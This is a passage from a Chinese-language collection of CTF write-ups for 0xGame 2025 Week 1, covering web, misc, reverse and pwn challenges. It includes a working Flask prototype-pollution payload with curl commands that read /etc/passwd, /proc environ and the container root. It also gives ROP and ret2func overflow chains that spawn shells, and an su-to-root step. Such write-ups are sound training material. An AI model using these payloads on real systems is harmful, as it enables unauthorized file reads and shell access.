通过 POST /</code> 发送 JSON，利用 Game0x.__init__.__globals__</code> 链拿到模块全局，再取到 app</code> 实例并修改其属性。例如：</p>
{"</span>__init__</span>": {"</span>__globals__</span>": {"</span>app</span>": {"</span>static_folder</span>":</span> "/etc"</span>}}}}</span></span></code></pre>
解释：</p>

Game0x</code> 是 Dst()</code> 的实例，Python 实例有 __class__</code>，类有 __init__</code>，函数对象有 __globals__</code> 可达模块字典；模块字典中保存了 app</code>。</li>
merge</code> 在路径上遇到对象就递归，最终以 setattr</code> 写入属性值。</li>
</ul>

从静态路由读取任意文件（LFI via static）</li>
</ol>

Flask 会将 app.static_folder</code> 作为 /static</code> 路由的根（配合 static_url_path</code>，默认 /static</code>）。</li>
将 app.static_folder</code> 改为目标目录后，GET /static/<name></code> 即尝试读取 <dir>/<name></code>。</li>
</ul>

关键技巧：指向 /proc/1/root</code></li>
</ol>

在容器/服务场景下，/proc/1/root</code> 是“1 号进程”的根目录的符号链接。将 static_folder</code> 设置为该路径，可以稳定将静态根锚定到容器真实根，而无需猜测应用工作目录与层级。</li>
</ul>
因此，我们的两步利用为：</p>

第一步：POST /</code> 设置 app.static_folder = "/proc/1/root"</code>。</li>
第二步：GET /static/flag</code> 直接读取容器根下的 /flag</code>。</li>
</ul>
详细操作与尝试过程</h4>
记运行目标为 BASE = http://nc1.ctfplus.cn:19346</code>（实际以赛题为准）。</p>

先验证可读任意系统文件能力</li>
</ol>
将静态目录映射到 /etc</code>，读取 /etc/passwd</code>：</p>
curl</span> -s -X POST "</span>$BASE</span>/"</span> \</span></span>
  -H 'Content-Type: application/json'</span> \</span></span>
  --data '{"__init__":{"__globals__":{"app":{"static_folder":"/etc"}}}}'</span></span>
</span>
curl</span> -s "</span>$BASE</span>/static/passwd"</span> |</span> head</span></span></code></pre>
若返回 passwd 内容，说明污染链生效且可经静态路由读取。</p>

读取运行信息，论证 /proc</code> 可用</li>
</ol>
把 static_folder</code> 设置为 /proc/1</code>，读取 cmdline/environ</code> 等：</p>
curl</span> -s -X POST "</span>$BASE</span>/" -H 'Content-Type: application/json'</span> \</span></span>
  --data '{"__init__":{"__globals__":{"app":{"static_folder":"/proc/1"}}}}'</span></span>
</span>
curl</span> -s "</span>$BASE</span>/static/cmdline"</span> |</span> tr</span> '\0' '\n'</span> |</span> head</span></span>
curl</span> -s "</span>$BASE</span>/static/environ"</span> |</span> tr</span> '\0' '\n'</span> |</span> head</span></span></code></pre>

关键一步：将静态根指向 /proc/1/root</code></li>
</ol>
curl</span> -s -X POST "</span>$BASE</span>/" -H 'Content-Type: application/json'</span> \</span></span>
  --data '{"__init__":{"__globals__":{"app":{"static_folder":"/proc/1/root"}}}}'</span></span>
</span>
curl</span> -s "</span>$BASE</span>/static/flag"</span></span></code></pre>
实际输出示例：</p>
0xGame{Welcome_to_Easy_Pollute~}</span></span></code></pre>
这一步绕开了 /<path></code> 路由前置的 os.path.exists('templates/' + path)</code> 检查，不需要层数穿越与编码绕过。</p>
原理推导与安全分析</h4>

合并函数的危险分支</li>
</ol>
merge</code> 的伪代码行为可抽象为：给定 src</code>（用户 JSON）与 dst</code>（任意对象），若 dst</code> 类字典则递归合并键；否则若 dst</code> 有属性 k</code> 且 v</code> 是字典，递归；否则直接 setattr(dst, k, v)</code>。这等价于暴露了“写任意属性”的能力。</p>
形式化地看，若我们构造键序列 $k_1, k_2, \dots, k_n$ 以及叶子值 $v$，使得在归并路径上始终满足“可递归”或“可写”条件，则最终有</p>
$$\operatorname{merge}({k_1: {\cdots {k_n: v}}}, \mathrm{Game0x}) \implies \mathrm{setattr}(o, k_n, v)$$</p>
其中 $o$ 是通过前缀 $k_1,\dots,k_{n-1}$ 导航到的中间对象（如 Game0x.__init__.__globals__['app']</code>）。</p>

选择 static_folder</code> 而非 Jinja searchpath</code></li>
</ol>
原本也可将 app.jinja_env.loader.searchpath = ['/']</code>，再用 render_template(path)</code> 读取。但该路由有 os.path.exists('templates/' + path)</code> 前置检查，要求 'templates/' + path</code> 在文件系统上可达；实践中常被工作目录与层级差异卡住。相较之下，Flask 的静态文件路由不会附带该检查，污染 static_folder</code> 更稳。</p>

/proc/1/root</code> 的优势</li>
</ol>
许多容器化/CTF 环境中，1 号进程的根（/proc/1/root</code>）反映了容器真实文件系统根。将静态根指向这个符号链接，相当于将 /static</code> 绑定到容器根，不再需要计算相对层数或关心应用工作目录，成功率极高。</p>
自动化脚本（requests 版）</h4>
建议使用独立虚拟环境（如 uv</code>）运行：</p>
cd</span> solution</span></span>
uv</span> init --python</span> 3.11</span></span>
uv</span> add requests</span></span>
uv</span> run python solution.py --base http://nc1.ctfplus.cn:19346</span></span></code></pre>
脚本逻辑：</p>

发送 POST /</code> 污染 static_folder</code> 为 /proc/1/root</code>；</li>
读取 /static/flag</code> 输出；</li>
附带一个回退选项：先测 /etc/passwd</code> 以确认能力。</li>
</ul>
参考与加固建议</h4>

设计递归合并函数时，严禁把不可信的映射直接合并进“任意对象”，尤其避免通过 setattr</code> 改写实例内部状态。</li>
对外暴露 JSON Patch/merge 等接口时，应白名单目标结构；对函数、模块、实例等内建对象的“魔法属性”（如 __globals__</code>）需要屏蔽。</li>
模板系统与静态路由配置不应可被运行时随意篡改；生产环境中应最小化暴露可变全局。</li>
</ul>

Flag：0xGame{Welcome_to_Easy_Pollute~}</code></p>

Lemon Writeup</h3>
题目信息</h4>

比赛：0xGame 2025 Week1 Web</li>
题目：Lemon（200 分）</li>
标签：前端、源代码审计</li>
</ul>
初步侦查</h4>
最初访问 http://80-29913a1b-3472-4ff2-87f9-bafd4a69ee14.challenge.ctfplus.cn</a>，页面仅显示一行歌词，并通过 JavaScript 监听 contextmenu</code> 与 keydown</code> 事件，阻止右键和 F12 调试器。阻断调试界面属于常见的“刷存在感”手段，并不会限制我们直接拉取网页源码。因此我尝试：</p>

使用浏览器 view-source:</code> 功能（在禁用右键的页面中仍然有效）。</li>
使用 curl</code> 等命令行工具直接获取 HTML。</li>
</ul>
源代码提取</h4>
在命令行中执行：</p>
curl</span> -s http://80-29913a1b-3472-4ff2-87f9-bafd4a69ee14.challenge.ctfplus.cn</span></span></code></pre>
返回的 HTML 中包含注释 <!-- 0xGame{Welc0me_t0_0xG@me_2025_Web!!!} --></code>。由注释形式可知 flag 已被嵌在源码里。题目没有进一步的跳转或加密逻辑，因此 flag 直接取值即可。</p>
自动化脚本</h4>
为便于复现，我在 solution/solution.py</code> 中使用标准库 urllib</code> 抓取页面，并用正则表达式提取满足模式 0xGame{.*}</code> 的字符串。脚本通过 uv run</code> 调起独立的 Python 环境，避免直接依赖系统解释器：</p>
uv</span> run solution/solution.py</span></span></code></pre>
脚本输出 $0xGame{Welc0me_t0_0xG@me_2025_Web!!!}$</code>，与手工分析得到的结果一致。</p>
最终答案</h4>

flag：$0xGame{Welc0me_t0_0xG@me_2025_Web!!!}$</code></li>
</ul>
复盘</h4>

页面层面仅做了基础的调试骚扰，提示我们要关注源码。</li>
借助命令行工具直接抓包是绕过前端限制的通用方法。</li>
记录自动化脚本有助于批量验证，也利于后期复盘。</li>
</ul>

misc</h2>
ezShell_PLUS 解题报告</h3>
题目信息</h4>

题目：ezShell_PLUS（Misc / Week1 / 简单）</li>
目标：通过 SSH 登录容器，利用提供的哈希与解密脚本找回隐藏信息。</li>
登录凭据：welcome/hacker</code>，端口 49313</code></li>
</ul>
解题流程</h4>

勘查环境</strong>：登录后在 /home/welcome/challenge</code> 下发现 hash_value</code>、decrypt.sh</code> 以及 files</code> 目录。</li>
读取哈希</strong>：cat hash_value</code> 得到目标 SHA256 —— cdae1e73…997b553</code>。</li>
匹配密文文件</strong>：对 files/*.dat</code> 批量执行 sha256sum</code>，定位到哈希匹配的文件 558c1a43e0ce90df.dat</code>。</li>
解密</strong>：运行 ./decrypt.sh files/558c1a43e0ce90df.dat</code>，脚本会读取 /etc/secret_key.backup</code> 作为密码，最终输出 flag。</li>
</ol>
自动化脚本</h4>


文件：solution/solution.py</code></p>
</li>

逻辑：</p>

通过 Paramiko 建立 SSH 连接。</li>
读取 hash_value</code>，遍历 files</code> 下的 .dat</code> 文件计算 SHA256。</li>
找到匹配文件后调用 decrypt.sh</code> 执行解密。</li>
</ol>
</li>

使用方式：</p>
cd</span> solution</span></span>
uv</span> run python solution.py</span></span></code></pre>
输出示例：</p>
目标 SHA256: cdae1e7300420ddf2500f05c1247f572f06eade2862fb1c56ffd25812997b553</span></span>
匹配文件: /home/welcome/challenge/files/558c1a43e0ce90df.dat</span></span>
0xGame{Welc0me_to_H@ckers_w0r1d}</span></span></code></pre></li>
</ul>
Flag</h4>
0xGame{Welc0me_to_H@ckers_w0r1d}</code></p>

Do_not_enter 解题报告</h3>
题目摘要</h4>

类型：Misc / Week1 / 简单（有大量假旗，禁止爆破）</li>
附件：do_not_enter.dd.gz</code>（MBR 整盘镜像，解压得 do_not_enter.dd</code>）</li>
叙事：Yolo 的磁盘里有“禁区”，真正的宝藏只会在正确的地方出现一次。</li>
</ul>
环境与工具</h4>

建议使用 p7zip</code>（7z）与 ripgrep</code> 验证；本仓库已提供自动化脚本。</li>
目录结构：

task/do_not_enter.dd</code>：题目镜像</li>
solution/solution.py</code>：一键抽取唯一正确 flag 的脚本</li>
</ul>
</li>
</ul>
总体思路</h4>
题面强调：</p>

存在大量 fake flag；</li>
平台禁止爆破；</li>
唯一正确答案需要“在正确的方式下完整找到”。</li>
</ul>
据此推断，真正的唯一性不在于字符串本身，而在于“来源位置与语义”。</p>
技术拆解</h4>


镜像分块</p>

使用 7z l task/do_not_enter.dd</code> 可直接列出 6 个“分块”：0.img, 1.img, 2.img, 3.img, 4, 5</code>。</li>
进一步 file</code>/7z l</code> 识别：

0.img/1.img/2.img/3.img</code> 为 ext4 文件系统镜像，卷标分别为：

UserShare</code>、Do_not_enter</code>、WebServer</code>、SysLogs</code></li>
</ul>
</li>
4</code> 为全零数据；5</code> 是零填充中掺杂 ASCII 文本（大量假旗）。</li>
</ul>
</li>
</ul>
</li>

假旗的海洋</p>

四个 ext4 镜像的日志（auth.log/syslog/dpkg.log</code>）以及分块 5</code> 中塞满了形如
0xGame{WoW_y0u_fouNd_1t?_NNNNNN}</code> 的“编号态 flag”。</li>
统计结果（可复现）：

0.img</code>：50 个</li>
2.img</code>：50 个</li>
3.img</code>：50 个</li>
分块 5</code>：30 个</li>
以上皆为“迷惑项”，并非唯一正确来源。</li>
</ul>
</li>
</ul>
</li>

唯一性线索：禁区与真实挂载</p>

1.img</code> 的卷标即为 Do_not_enter</code>，且 7z l 1.img</code> 可见 Last Mounted = /mnt/real_target</code>。</li>
该分区符合“禁区/真实目标”的叙事意象，是题面提示的“正确方式/正确位置”。</li>
关键事实：在 1.img</code> 中仅出现 1 条编号态 flag。</li>
</ul>
</li>

结论</p>

1.img</code> → syslog</code> 唯一出现：0xGame{WoW_y0u_fouNd_1t?_114514}</code>。</li>
其它分区/分块中的 180 条均为假旗，用以干扰与诱导爆破。</li>
</ul>
</li>
</ol>
自动化脚本</h4>


路径：solution/solution.py</code></p>
</li>

逻辑：</p>

用 7z</code> 将 task/do_not_enter.dd</code> 解出到工作目录；</li>
仅对 1.img</code>（禁区分区）展开，读取 syslog/auth.log/dpkg.log</code>；</li>
用正则抓取 flag 模式；断言只出现一次；输出最终 flag。</li>
</ol>
</li>

运行：</p>
cd</span> solution</span></span>
uv</span> run python solution.py</span></span></code></pre></li>

运行示例输出：</p>
0xGame{WoW_y0u_fouNd_1t?_114514}</span></span></code></pre></li>
</ul>
误区与排除（记录尝试过程）</h4>

尝试将 181 个编号作模 26/27、base36 或差分映射，再用四元文法/分词打分解替换密码文本，会得到若干“似是而非”的英文碎句；
但这些碎片跨分区拼接，违背“唯一来源”的叙事，因此不作为答案依据。</li>
分块 5</code> 为零填充中穿插 ASCII 的诈骗层，出现 30 条假旗；其结构非文件系统，也非真实目标。</li>
</ul>
最终答案</h4>

Flag：0xGame{WoW_y0u_fouNd_1t?_114514}</code></li>
依据：仅在禁区分区 Do_not_enter</code>（Last Mounted: /mnt/real_target</code>）中出现一次，满足“唯一正确”的题意约束。</li>
</ul>

Zootopia 解题报告</h3>
题目信息摘录</h4>

题目：Zootopia（Misc / Week1 / 简单）</li>
附件：Zootopia.zip</code> → Zootopia.png</code></li>
线索：疯狂动物城图片中藏有一段加密信息。</li>
</ul>
尝试过程</h4>

将附件解压至 task</code> 目录，确认只有一张 PNG 图片。</li>
binwalk</code>、exiftool</code> 等常规检测未发现额外文件或文本 chunk，考虑 LSB 隐写。</li>
使用 zsteg</code> 验证，b1,rgb,lsb,xy</code> 渠道出现可读文本 0xGame{...}</code>。</li>
为复现过程，编写脚本逐像素提取 RGB 各通道最低位，按 8 位组装字符，遇到 \0</code> 结束。</li>
</ol>
推导细节</h4>

RGB 每个通道提供 1 bit 信息，按顺序拼接后可重构原始字节流。</li>
图像尺寸较大，足以隐藏多行文本；实际隐藏串以 ASCII 编码结束于零字节。</li>
</ul>
自动化脚本</h4>


位置：solution/solution.py</code></p>
</li>

依赖：pillow</code></p>
</li>

用法：</p>
cd</span> solution</span></span>
uv</span> run python solution.py</span></span></code></pre></li>

输出：</p>
0xGame{W1_Need_t0_t@k3_a_break}</span></span></code></pre></li>
</ul>
结果</h4>

最终 flag：0xGame{W1_Need_t0_t@k3_a_break}</code>。</li>
</ul>

公众号原稿 解题报告</h3>
题目信息摘录</h4>

题目：公众号原稿（Misc / Week1 / 简单）</li>
附件：公众号.docx</code></li>
目标：找到 Yolo 隐藏在原稿中的 gift flag。</li>
</ul>
尝试过程</h4>

将附件放入 task</code> 目录，使用 uv init</code> 创建独立 Python 环境。</li>
unzip -l</code> 查看 docx 内部结构，发现非常规条目 docProps/gift.xml</code>。</li>
直接 unzip -p 公众号.docx docProps/gift.xml</code> 得到完整 flag。</li>
为便于复现，编写 solution/solution.py</code> 使用 zipfile</code> 模块解压目标文件并输出内容。</li>
</ol>
推导与验证</h4>


Office OpenXML 文件本质是 zip 压缩包，只要定位到隐藏的 gift.xml</code> 即可。</p>
</li>

运行脚本：</p>
cd</span> solution</span></span>
uv</span> run python solution.py</span></span></code></pre></li>

输出：</p>
0xGame{omg!Y0u_f0und_m3!_C0ngr4tul4t10ns!}</span></span></code></pre></li>
</ul>
结果</h4>

最终 flag：0xGame{omg!Y0u_f0und_m3!_C0ngr4tul4t10ns!}</code>。</li>
</ul>

ez_Shell 解题报告</h3>
题目信息摘录</h4>

比赛：0xGame2025</li>
题目：ez_Shell（Misc / Week1 / 简单）</li>
提示：通过 SSH 进入题目容器，依次提取 whoami</code>、pwd</code>、当前路径下的文件夹名以及两个 flag 文件内容，再按题面格式拼装。</li>
</ul>
尝试记录</h4>

建立标准目录结构，在 task/attachment.txt</code> 保存题面，并用 uv init</code> 初始化脚本环境。</li>
根据赛方公布的服务端 nc1.ctfplus.cn:47957</code>，编写简短 paramiko</code> 脚本验证连接，确认初始工作目录 /home/hacker</code> 下只有隐藏目录 .mysecret</code>，其中包含 flag1.txt</code>。</li>
自动化脚本初版直接 cat flag1.txt</code> 导致报错，改用 find</code> 自动定位 .mysecret/flag1.txt</code> 后成功读取第一段。</li>
尝试以 root/Y0u_@re_root</code> 直接 SSH 登录失败，推测禁用了 root 远程登录。改为在 hacker</code> 会话内执行 su - root -c 'cat /root/flag2.txt'</code>，并通过 stdin</code> 传入密码获取第二段。</li>
对 su</code> 输出进行清洗，去除 Password:</code> 提示后，脚本能够一次性生成完整 flag。</li>
</ol>
解题思路概述</h4>

第一步：以普通用户 hacker/h@cker_it</code> 登录，采集下列信息：

whoami</code></li>
pwd</code></li>
当前路径下的子目录名（排除 .</code> 与 ..</code>，实际为 .mysecret</code>）</li>
.mysecret/flag1.txt</code> 的内容</li>
</ul>
</li>
第二步：在同一会话中使用 su</code> 切换 root，读取 /root/flag2.txt</code>。</li>
第三步：将五项结果用 '_'</code> 连接并包裹进 0xGame{...}</code>。</li>
</ul>
自动化脚本</h4>


位置：solution/solution.py</code></p>
</li>

依赖：paramiko</code></p>
</li>

用法：</p>
cd</span> solution</span></span>
uv</span> run python solution.py nc1.ctfplus.cn --port</span> 47957</span></span></code></pre></li>

输出示例：</p>
0xGame{hacker_/home/hacker_.mysecret_It_is_funny_right?_You_hacked_me!!!}</span></span></code></pre></li>
</ul>
结果</h4>

最终提交 flag：0xGame{hacker_/home/hacker_.mysecret_It_is_funny_right?_You_hacked_me!!!}</code>。</li>
关键命令及路径均已在脚本中自动化处理，后续只需替换目标主机即可复用。</li>
</ul>

Sign_in 解题报告</h3>
题目信息摘录</h4>

比赛：0xGame2025</li>
题目：Sign_in（Misc / Week1 / 简单）</li>
附件内容：一段 Base64 编码的字符串</li>
</ul>
MGhRa3dve0dvdm0wd29fZDBfMGhRNHczXzJ5MjVfQHhuX3JAbXVfUHliX3BlWH0=</span></span></code></pre>尝试过程</h4>

在 task/attachment.txt</code> 记录原始字符串后，使用 uv init</code> 初始化题目标准的 Python 环境，避免直接调用系统 Python。</li>
先猜测这是基础的 Base64 编码。通过 uv run python</code> 解码得到中间结果：0hQkwo{Govm0wo_d0_0hQ4w3_2y25_@xn_r@mu_Pyb_peX}</code>。</li>
观察中间结果，括号形式符合 flag 结构，但字母整体被系统性平移。例如 0hQkwo</code> 形似 0xGame</code>。对照 ASCII 发现大小写字母均被循环右移了 $10$ 位。</li>
进一步检查数字，同样遵循 $c_i = (p_i + 10) \bmod 10$ 的模式。符号字符未变。</li>
编写脚本对所有字母、数字执行逆向 Caesar 位移（左移 $10$），得到最终 flag。</li>
</ol>
推导细节</h4>

Base64 还原得到的明文可视为经过 Caesar 变换的密文 $C$。</li>
对字母部分，存在关系：
$$C = (P + k) \bmod 26,\quad k = 10$$
因此恢复原文需要计算：
$$P = (C - k) \bmod 26$$</li>
对数字同理，只是模数改为 $10$：
$$C = (P + k) \bmod 10 \implies P = (C - k) \bmod 10$$</li>
其他符号保持不变。</li>
</ul>
关键脚本</h4>
核心逻辑位于 solution/solution.py</code>：</p>

先 Base64 解码。</li>
之后调用 caesar_shift</code>，对字母和数字执行模运算逆变换。</li>
输出最终 flag。</li>
</ul>
运行：</p>
cd</span> solution</span></span>
uv</span> run python solution.py</span></span></code></pre>
得到终极答案：</p>
0xGame{Welc0me_t0_0xG4m3_2o25_@nd_h@ck_For_fuN}</span></span></code></pre>总结</h4>
题目考察了对基础编码与经典移位密码的识别。一步步拆解编码层次、验证偏移量即可快速复原 flag。</p>

RE</h2>
BaseUpx</h3>

脱壳 UPX</code> 后，主函数读取输入并执行 base64_encode</code>，与常量 MHhHYW1le1cwd191XzRyM183aDNfRzBkXzBmX3VweCZiNHMzNjRfRDNzMWdufQ</code> 比较。</li>
只需补齐 ==</code> 还原 base64，即得 0xGame{W0w_u_4r3_7h3_G0d_0f_upx&b4s364_D3s1gn}</code>。</li>
详细推导与脚本见 BaseUpx/</code>。</li>
</ul>
DyDebug</h3>

题目实现自定义 16 轮 Feistel：F 函数为 F(R,K)=(R*K)⊕ROL(R,17)</code>；轮密钥通过线性同余生成。</li>
将 .rdata</code> 中的密文分块解密，得到 0xGame{91f2c64e-057d-4191-8868-9a8c0847b2c0}</code>。</li>
</ul>
EasyXor</h3>

循环: ((flag[i] ^ key[i mod 16]) + i) == table[i]</code>。</li>
重排公式恢复 flag 0xGame{6c74d39f-723f-42e7-9d7a-18e9508a655b}</code>。</li>
</ul>
SignIn</h3>

程序无校验，flag 硬编码在 .rdata</code>。</li>
strings</code> 直接读取到 0xGame{G00d$!gn1n_&_N0w_5t4rt_y0ur_R3V3R5E}</code>。</li>
</ul>
SignIn2</h3>

decrypt</code> 实际上是 ROT94/47 风格的表循环减法，枚举 key 即可。</li>
唯一合法前缀 0xGame</code> 对应 key=16，解出 0xGame{We1c0m3_2_xiaoxinxie_qq_1060449509}</code>。</li>
</ul>
ZZZ</h3>

sscanf("%8x%8x%8x%8x")</code> 读取四个 32 位数，再验证 4 个模 $2^{32}$ 方程。</li>
借助 z3-solver</code> 搜索满足约束的 4 组解，匹配题面给出的 SHA-256 仅有一组：

$A=0x99482FD0,\ B=0xB9544087,\ C=0x0E990F7A,\ D=0xA0514982$。</li>
</ul>
</li>
最终 flag 0xGame{99482fd0b95440870e990f7aa0514982}</code>。</li>
</ul>
脚本使用</h3>

若需直接输出 flag：运行对应题目目录下的 solution/solution.py</code>。</li>
ZZZ</code> 题依赖 z3-solver</code>：已通过 uv pip install z3-solver</code> 安装，如在其他环境运行请提前安装。</li>
</ul>

Pwn</h2>
0xGame ROP2 Write-up</h3>
目标</h4>

在不包含 sh</code>//bin/sh</code> 字符串的情况下，依旧通过 ROP 调用 system</code> 实现 RCE。</li>
</ul>
静态分析要点</h4>

No PIE、NX 开、无 Canary。</li>
导入：setbuf</code>、system</code>、printf</code>、read</code>；</li>
main</code>：

init</code> 关闭缓冲；</li>
打印一行提示与“luck_number”；</li>
system("echo Start your attack")</code>；</li>
read(0, buf, 0x100)</code> 读入到 buf</code>（大小 0x30</code>），存在溢出。</li>
</ol>
</li>
可用 gadget：pop rdi ; ret @ 0x40119e</code>，以及 leave ; ret @ 0x40124b</code>。</li>
关键观察：在 .text</code> 段 0x401200</code> 处有一条 movabs rax, 0x9173003024</code>，其立即数的最低三字节即 0x24 0x30 0x00</code>，也就是 "$0\x00"</code>！因此内存地址 0x401202</code> 起正好是一段以 0 结尾的 "$0"</code> 字符串。</li>
</ul>
利用思路（“神奇参数”）</h4>
system(cmd)</code> 实际会执行 /bin/sh -c cmd</code>。若令 cmd = "$0"</code>，那么在子 shell 中 $0</code> 的值为 "sh"</code>，因此实际等价执行 sh</code>，从而获得交互 shell。这就是题面所说“除了 sh 之外的神奇参数”。</p>
ROP 链</h4>
偏移 $= 0x30 + 8 = 0x38$，构造：</p>

pop rdi ; ret</code> (0x40119e)</li>
"$0\x00"</code> 地址 (0x401202)</li>
system@plt</code> (0x401080)</li>
</ul>
数学化：
$$
\text{ret} \to (\text{pop rdi;ret}) \Rightarrow rdi \leftarrow \text{addr}(“$0”),\ \text{ret} \to system.
$$
得到 shell 后，直接 cat flag</code>。</p>
脚本</h4>
见 solution/solution.py</code>，已内置短超时与缓冲读取，默认静默输出 flag，可开启 debug=True</code> 观察交互。</p>
运行</h4>
cd</span> "[0xGame]ROP2"</span></span>
## 填好脚本中的 HOST/PORT 后</span></span>
uv</span> run python solution/solution.py</span></span></code></pre>结论</h4>
即使二进制中没有 sh</code>//bin/sh</code> 常量，也可以借助代码段中的 "$0\x00"</code> 作为 system</code> 的参数来获得 shell。这是 ROP 控参思路在实战中的一个小技巧。</p>

0xGame ROP1 Write-up</h3>
目标</h4>

通过 ROP 控制 system</code> 的参数，实现远程命令执行（RCE）。</li>
</ul>
静态分析要点</h4>

No PIE、NX 开、无 Canary，典型易 ROP 场景。</li>
符号：gadget@0x401176</code>、help@0x401183</code>、main@0x40119d</code>、system@plt@0x401070</code>；</li>
main</code> 调用 read(0, buf, 0x100)</code> 且 buf</code> 大小仅 0x20</code>，可溢出覆盖返回地址。</li>
.rodata</code> 含有字符串 echo Maybe you need this: sh</code>，其中 "sh"</code> 子串位于 0x40201e</code>。</li>
gadget</code> 汇编：

push rbp; mov rbp, rsp; pop rdi; ret</code>，效果等同 pop rdi; ret</code>（用于布置 system</code> 的第 1 参）。</li>
</ul>
</li>
</ul>
因此，偏移 $= 0x20 + 8 = 0x28$；链路：gadget -> "sh" -> system@plt</code>。</p>
ROP 链表达</h4>
设返回地址覆写为序列 $[G, A, S]$，其中</p>

$G=\text{gadget}$（设置 $rdi=A$），</li>
$A=\text{addr}(\text{“sh”})$，</li>
$S=\text{system@plt}$。
执行流程：</li>
</ul>
$$
\text{ret} \to G \Rightarrow rdi \leftarrow A,\ \text{ret} \to S \Rightarrow system(A).
$$</p>
Exploit 脚本</h4>
见 solution/solution.py</code>：</p>

偏移与地址均按上面确定；</li>
连接后直接发 payload，然后 cat flag</code>；</li>
内置短超时，防止长时间卡顿。</li>
</ul>
运行</h4>
cd</span> "[0xGame]ROP1"</span></span>
## 填好脚本中的 HOST/PORT 后</span></span>
uv</span> run python solution/solution.py</span></span></code></pre>结果</h4>
成功弹 shell 并 cat flag</code>，完成 RCE。</p>

0xGame nc1.ctfplus.cn:49641 基础栈溢出 Write-up</h3>

难度：简单</li>
类型：Pwn / 栈溢出（ret2func）</li>
远程：nc1.ctfplus.cn 49641</code></li>
</ul>
题目与附件</h4>
当前目录附带可执行文件 task/stack-overflow</code>（64 位 ELF，非 PIE）。我们只需直接打远程即可，不需要本地调试也能完成；但为了稳妥，我先做了快速静态分析确定思路与偏移。</p>
快速静态分析</h4>

checksec</code> 结果：No PIE、NX 启用、Canary 关闭，ELF 含 CET 标记（IBT/SHSTK），但远端通常不强制 Shadow Stack。</li>
符号表（节选）：

backdoor@0x4011d6</code></li>
whhhat@0x4011f7</code></li>
main@0x40122a</code></li>
</ul>
</li>
关键代码（反汇编要点）：

main</code> 在栈上开辟 $0x30$ 字节缓冲区，并调用 read(0, buf, 0x100)</code>，存在明显溢出。</li>
whhhat@0x4011f7</code>：

打印一行（puts</code>，实测为 good work!</code>）；</li>
构造参数后直接 execve("/bin/sh", NULL, NULL)</code>，相当于帮我们起一个交互 shell（继承同一套标准 I/O）。</li>
</ol>
</li>
</ul>
</li>
偏移计算：覆盖返回地址需要 $0x30$（局部缓冲）$+$ $8$（保存的 RBP）$=$ $0x38$ 字节。</li>
</ul>
因此最小利用为 ret2func：把返回地址改为 whhhat</code>（0x4011F7</code>），无需 ROP 链也无需泄露地址。</p>
利用思路</h4>

连接后服务端会输出提示行 Just say something...</code> 并阻塞读入；</li>
构造 payload = b"A"*0x38 + p64(0x4011F7)</code> 触发返回至 whhhat</code>；</li>
进入 whhhat</code> 后先打印 good work!</code> 再 execve("/bin/sh")</code>，这会直接把当前进程镜像替换为 /bin/sh</code>，我们获得交互；</li>
发送 cat flag</code> 即可拿到 flag。</li>
</ul>
注意：由于 I/O 交错，good work!</code> 或命令输出可能与提示行交织。脚本里采用短超时、多次读取并在缓冲中查找 0xGame{</code>，确保稳健拿 flag。</p>
缓冲区覆写</h4>
若返回地址位于栈帧布局：
$$
\underbrace{\text{buf}[0..0x2F]}{0x30\ \text{bytes}};\Vert;\underbrace{\text{saved\ RBP}}</em>{8\ \text{bytes}};\Vert;\underbrace{\text{RET}}_{8\ \text{bytes}}
$$
则向 read</code> 写入长度 $L\ge 0x38+8$ 的数据，令 RET=\text{addr}(\text{whhhat})$，返回即跳转至</code>whhhat执行。因为目标函数本身完成了寄存器参数设置和</code>execve`，我们不必搭建 ROP。</p>
自动化脚本（Pwntools）</h4>
路径：solution/solution.py</code></p>

默认短超时与缓冲读取，防止“等了 10 分钟没有结果”的卡死；</li>
提供 debug</code> 开关，便于观察远程交互细节；</li>
仅依赖 pwntools</code>，通过 uv</code> 管理环境。</li>
</ul>
运行：</p>
cd</span> "[0xGame]nc1-49641"</span></span>
uv</span> run python solution/solution.py</span></span></code></pre>
输出示例：</p>
0xGame{W0w_y0u_kn0w_h0w_t0_h1j@ck_3x3cut10n_fl0w}</span></span></code></pre>远程调试建议</h4>

使用 solve(debug=True)</code> 观察：

banner；</li>
发送 payload 后的即时输出（good work!</code>/换行）；</li>
执行 cat flag</code> 后的流式数据；</li>
</ul>
</li>
若未见 flag：

重试连接，或适当增大 overall_timeout</code>；</li>
改为先 pwd && ls -la</code> 确认 flag</code> 是否在当前目录（实测在根目录 /</code>）。</li>
</ul>
</li>
</ul>
结论</h4>
本题为经典 ret2func 基础练习：找到可调用的“后门”函数 whhhat</code>，通过溢出直接将返回地址劫持过去，即可一把到 shell 并读取 flag。无需泄露地址、无需复杂 ROP，是非常适合入门的栈溢出题。</p>

0xGame nc1.ctfplus.cn:14164 数学连问 Write-up</h3>
题意概述</h4>
远程服务在连接后会连续抛出 1000 道四则题目（仅含 $+$、$-$、$x$ 三种运算）。每答对一题反馈 Good work!</code> 并立刻给出下一题；全部答完后提示 Congratulations on completing the challenge</code>，此时再输入 cat flag</code> 即可获得最终 flag：</p>
0xGame{7h3_m4573r_0f_m47h!!!}</span></span></code></pre>探测与信息收集</h4>

基础探测</strong>：nc</code> 连上 nc1.ctfplus.cn 14164</code>，立即收到 “Are you good at math?”、“Kore wa shiren da!” 和首道题。例如：733 - 400 = ?</code>。</li>
观察反馈</strong>：随意答题若正确会回 Good work!</code> 并刷新题目。错误或超时会断开，需重新过题。</li>
运算模式归纳</strong>：通过脚本重复连接并正则抽取表达式，得到运算符集合为 ${+, -, x}$。题目格式固定为
$$
A\ \text{op}\ B = ?
$$
其中 $A,B\in \mathbb{Z}$，范围约在 $[0, 1000)$，乘法题积可达 $O(10^6)$。</li>
终局行为</strong>：成功解完 1000 题后出现祝贺语，没有直接给 flag；进一步发送 cat flag</code>（或任意能读取文件的指令）即可得到 flag，说明后端实际上直接暴露了 shell。</li>
</ol>
数学与实现思路</h4>
对任意题目，记 $A,B\in\mathbb{Z}$，运算符 $\circ\in{+, -, \times}$，目标即计算
$$
\text{ans} =
\begin{cases}
A + B, & \circ = +,\
A - B, & \circ = -,\
A \times B, & \circ = \times.
\end{cases}
$$
乘法题数量明显最多（约占 $2/3$），若单轮耗时 $t$ 秒，全部完成需要 $1000t$ 秒。故必须自动化避免人工输入。实现关键点：</p>

使用 正则表达式</strong> (-?\d+)\s*([+\-x])\s*(-?\d+)</code> 捕获 $A$、运算符、$B$；</li>
按运算符分支求值；</li>
连续调用 sendline</code> 回传答案，循环直到检测到祝贺语；</li>
收到祝贺语后发送 cat flag</code>，再读取包含 0xGame{</code> 的行并返回。</li>
</ul>
自动化脚本</h4>
源码：solution/solution.py</code></p>

依赖：pwntools</code></li>
